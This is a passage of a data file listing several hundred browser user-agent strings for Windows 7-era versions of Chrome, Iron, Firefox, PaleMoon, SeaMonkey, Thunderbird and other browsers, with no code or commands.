AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.694.0 Safari/534.24\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.697.0 Safari/534.24\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.1 Chrome/11.0.700.1 Safari/534.24\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.3 Chrome/11.0.700.3 Safari/534.24\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.3 Chrome/11.0.700.3 Safari/534.66\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.777.3  Chrome/11.0.777.3 Safari/534.66\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.310 Chrome/11.0.696.68 Safari/534.24\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.357 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.390 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.113 Safari/534.30\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30 ChromePlus/1.6.3.0alpha4\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/534.30 (KHTML, like Gecko) Comodo_Dragon/12.1.0.0 Chrome/12.0.742.91 Safari/534.30\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/534.30 (KHTML, like Gecko) Iron/12.0.750.0 Chrome/12.0.750.0 Safari/534.30\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/534.30 (KHTML, like Gecko) Iron/12.0.750.0 Chrome/12.0.750.0 Safari/534.30 Lightning/1.0b4pre\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko)  Iron/13.0.800.0 Chrome/13.0.800.0 Safari/535.1\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko)  Iron/13.0.800.1 Chrome/13.0.800.1 Safari/535.1\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko)  Iron/16.0.950.0 Chrome/16.0.950.0 Safari/535.1\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.812.0 Safari/535.1\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.815.10913 Safari/535.1\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko)  Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko)  Iron/17.0.1000.2 Chrome/17.0.1000.2 Safari/535.11\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.77 Safari/535.7ad-imcjapan-syosyaman-xkgi3lqg03!wgz\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/535.8 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.8\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.0  Iron/20.0.1150.0 Safari/536.11\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1  Iron/20.0.1150.1 Safari/536.11\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0  Safari/537.1\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1284.0 Safari/537.13\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.90 Safari/537.36\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.29 Safari/537.36 OPR/15.0.1147.24 (Edition Next)\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.71 (KHTML like Gecko) WebVideo/1.0.1.10 Version/7.0 Safari/537.71\nMozilla/5.0 (Windows NT 6.1.1; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (Windows NT 6.1; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.01\nMozilla/5.0 (Windows NT 6.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.64\nMozilla/5.0 (Windows NT 6.1; U; en-GB; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51\nMozilla/5.0 (Windows NT 6.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0\nMozilla/5.0 (Windows NT 6.1; U; nl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.01\nMozilla/5.0 (Windows NT 6.1; U; ru; rv:5.0.1.6) Gecko/20110501 Firefox/5.0.1 Firefox/5.0.1\nMozilla/5.0 (Windows NT 6.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6\nMozilla/5.0 (Windows NT 6.1; U;WOW64; de;rv:11.0) Gecko Firefox/11.0\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.1 Chrome/11.0.700.1 Safari/534.24\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.3 Chrome/11.0.700.3 Safari/534.24\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.283 Chrome/11.0.696.65 Safari/534.24\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.292 Chrome/11.0.696.68 Safari/534.24\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.310 Chrome/11.0.696.68 Safari/534.24\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.343 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.357 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.423 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.478 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.484 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.53 Safari/534.30\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Comodo_Dragon/12.1.0.0 Chrome/12.0.742.91 Safari/534.30\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Iron/12.0.750.0 Chrome/12.0.750.0 Safari/534.30\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) Arora/0.11.0 Safari/534.34\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko)  Iron/13.0.800.0 Chrome/13.0.800.0 Safari/535.1\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.810.0 Safari/535.1\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.811.0 Safari/535.1\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.814.0 Safari/535.1\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko)  Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko)  Iron/17.0.1000.1 Chrome/17.0.1000.1 Safari/535.11\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7xs5D9rRDFpg2g\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Iron/16.0.950.0 Chrome/16.0.950.0 Safari/535.7 []\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.8 (KHTML, like Gecko) Beamrise/17.2.0.9 Chrome/17.0.939.0 Safari/535.8\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.8 (KHTML, like Gecko) Chrome/17.0.940.0 Safari/535.8\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.0  Iron/20.0.1150.0 Safari/536.11\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1  Iron/20.0.1150.1 Safari/536.11\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML like Gecko) Maxthon/4.0.0.2000 Chrome/22.0.1229.79 Safari/537.1\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0  Safari/537.1\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0 Safari/537.1\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/28.0.1469.0 Safari/537.36\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.12 Safari/537.36 OPR/14.0.1116.4\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1623.0 Safari/537.36\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36 OPR/19.0.1326.56\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36 OPR/20.0.1387.91\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.89 Vivaldi/1.0.94.2 Safari/537.36\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.1000 Chrome/30.0.1599.101 Safari/537.36\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1250.0 Iron/22.0.2150.0 Safari/537.4\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko Firefox/11.0\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20120422 Firefox/12.0 SeaMonkey/2.9\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:12.2.1) Gecko/20120616 Firefox/12.2.1 PaleMoon/12.2.1\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:12.2.1) Gecko/20120616 Firefox/13.0 PaleMoon/12.2.1\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:12.2.1) Gecko/20120616 Firefox/13.0.1 PaleMoon/12.2.1\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:12.3) Gecko/20120717 Firefox/12.3 PaleMoon/12.3\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:12.3) Gecko/20120728 Firefox/12.3r2 PaleMoon/12.3r2\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20120713 Thunderbird/14.0\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20120713 Thunderbird/14.0 Lightning/1.6\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20110929 Thunderbird/15.0\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120819 Firefox/15.0 PaleMoon/15.0\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120826 Firefox/15.0 SeaMonkey/2.12\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120907 Thunderbird/15.0.1\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120909 Firefox/15.0.1 SeaMonkey/2.12.1\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120911 Firefox/15.1 PaleMoon/15.1\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20120828 Thunderbird/16.0 Lightning/1.8b1\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20120830 Firefox/16.0 SeaMonkey/2.13 Lightning/1.8b1\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20121011 Firefox/16.0 SeaMonkey/2.13.1 Lightning/1.8\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0)  Gecko/20100101 Firefox/18.0\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0 SeaMonkey/2.16\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20110608 Firefox/4.0.1 SeaMonkey/2.1\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20110608 SeaMonkey/2.1\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20100101 Firefox/4.0b7\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20101111 Firefox/4.0b7\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8) Gecko/20101221 Firefox/4.0b8 Fennec/4.0b3\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:2.1) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:2.2a1pre) Gecko/20110331 Firefox/4.2a1pre Fennec/4.1a1pre\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0 SeaMonkey/2.17\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130330 Firefox/21.0\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130331 Firefox/21.0\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130401 Firefox/21.0\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.0\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.0.1\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20110624 Thunderbird/5.0 Lightning/1.0b4\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110612 Firefox/6.0a2\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110613 Firefox/6.0a2\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110622 Firefox/6.0a2\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1 Fennec/7.0a1\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:12.2) Gecko/20120606 Firefox/12.2-x64 PaleMoon/12.2-x64\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:12.2.1) Gecko/20120616 Firefox/12.2.1-x64 PaleMoon/12.2.1-x64\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:12.3) Gecko/20120714 Firefox/12.3-x64 PaleMoon/12.3-x64\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:14.0) Gecko/20120405 Firefox/14.0a1\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:15.0) Gecko/20120819 Firefox/15.0-x64 PaleMoon/15.0-x64\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:15.0) Gecko/20120912 Firefox/15.1-x64 PaleMoon/15.1-x64\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:15.0) Gecko/20120919 Firefox/15.1.1-x64 PaleMoon/15.1.1-x64\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b10pre) Gecko/20110118 Firefox/4.0b10pre\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110129 Firefox/4.0b11pre\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110131 Firefox/4.0b11pre\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101128 Firefox/4.0b8pre\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101213 Firefox/4.0b8pre\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b9pre) Gecko/20101228 Firefox/4.0b9pre\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110208 Firefox/4.2a1pre\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110323 Firefox/4.2a1pre\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110324 Firefox/4.2a1pre\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:23.0) Gecko/20131011 Firefox/23.0\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:35.0) Gecko/20100101 Firefox/35.0\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20110619 Firefox/5.0\nMozilla/5.0 (Windows NT 6.1; de;rv:12.0) Gecko/20120403211507 Firefox/12.0\nMozilla/5.0 (Windows NT 6.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.750.0 Safari/534.30\nMozilla/5.0 (Windows NT 6.1; rv:1.9) Gecko/20100101 Firefox/4.0\nMozilla/5.0 (Windows NT 6.1; rv:1.9.1.x) Gecko/20110606 SeaMonkey/2.x Firefox/5.0\nMozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1\nMozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20120327 Thunderbird/11.0.1 Lightning/1.3\nMozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/ 20120405 Firefox/14.0.1\nMozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0\nMozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/14.0.1\nMozilla/5.0 (Windows NT 6.1; rv:12.2.1) Gecko/20120616 Firefox/12.2.1 PaleMoon/12.2.1\nMozilla/5.0 (Windows NT 6.1; rv:12.3) Gecko/20120714 Firefox/12.3 PaleMoon/12.3\nMozilla/5.0 (Windows NT 6.1; rv:12.3) Gecko/20120717 Firefox/12.3 PaleMoon/12.3\nMozilla/5.0 (Windows NT 6.1; rv:12.3) Gecko/20120728 Firefox/12.3r2 PaleMoon/12.3r2\nMozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/18.0.1\nMozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20120405 Firefox/14.0a1\nMozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20120715 Firefox/14.0.1 SeaMonkey/2.11 Lightning/1.6\nMozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2\nMozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120819 Firefox/15.0 PaleMoon/15.0\nMozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120909 Firefox/15.0.1 SeaMonkey/2.12.1\nMozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120911 Firefox/15.1 PaleMoon/15.1\nMozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120919 Firefox/15.1.1 PaleMoon/15.1.1\nMozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20121010 conkeror/1.0pre\nMozilla/5.0 (Windows NT 6.1; rv:2.0) Gecko/20110319 Firefox/4.0\nMozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nMozilla/5.0 (Windows NT 6.1; rv:2.0b10) Gecko/20110126 Firefox/4.0b10\nMozilla/5.0 (Windows NT 6.1; rv:2.0b10pre) Gecko/20110113 Firefox/4.0b10pre\nMozilla/5.0 (Windows NT 6.1; rv:2.0b11pre) Gecko/20110126 Firefox/4.0b11pre\nMozilla/5.0 (Windows NT 6.1; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre Firefox/4.0b6pre\nMozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre\nMozilla/5.0 (Windows NT 6.1; rv:2.1) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0\nMozilla/5.0 (Windows NT 6.1; rv:2.1.1) Gecko/20110415 